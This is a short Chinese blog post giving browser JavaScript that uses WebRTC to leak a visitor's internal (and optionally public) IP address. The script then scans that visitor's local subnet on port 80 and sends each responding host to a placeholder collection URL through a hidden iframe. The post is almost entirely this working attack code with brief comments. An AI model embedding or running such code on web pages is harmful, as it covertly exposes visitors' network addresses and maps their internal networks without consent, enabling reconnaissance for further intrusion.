js获取内(外)网真实IP地址(WebRTC)及内网端口扫描
摘要:使用的属性来发送数据内容接受的地址接受内网的参数接受内网开放端口的参数如果想获取真实的外网,请把下一行改为遍历内网及端口,这里只写了端口,多个端口,速度将会的非常慢。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | var ip_arr = []; var TagName = document.getElementsByTagName( "body" )[0]; function form_ip(ip,port){ //使用iframe的src属性来发送ip、port数据内容 var iframe = document.createElement( "iframe" ); iframe.setAttribute( "src" , "接受的地址?接受内网ip的参数=" + ip + "&接受内网开放端口的参数=" + port); iframe.setAttribute( "style" , "display:none" ) TagName.appendChild(iframe); } function getIPs(callback){ var ip_dups = {}; var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true }] }; var servers = undefined; if (window.webkitRTCPeerConnection) //如果想获取真实的外网IP,请把下一行改为servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; servers = {iceServers: []}; var pc = new RTCPeerConnection(servers, mediaConstraints); pc.onicecandidate = function (ice){ if (ice.candidate){ var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/ var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; if (ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true ; } }; pc.createDataChannel( "" ); pc.createOffer( function (result){ pc.setLocalDescription(result, function (){}); }, function (){}); } getIPs( function (ip){ //遍历内网ip及80端口,这里只写了80端口,多个端口,速度将会的非常慢。 ip = ip.split( "." ); ip.pop(); ip = ip.join( "." ); for ( var i = 1;i<=255;i++){ var script = document.createElement( "script" ); var ip_url = ip + "." + i + ":80" ; script.setAttribute( "src" , "http://" + ip_url); script.setAttribute( "onload" , "form_ip(" " + ip + " . " + i + " "," 80 ")" ); TagName.appendChild(script); } }); |
posted on 2022-11-30 22:47 zhangzongshan 阅读(1726) 评论(0) 编辑 收藏 举报
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
· 25岁的心里话
2018-11-30 cordova 导致css中绝对定位top:0会被顶到视图之外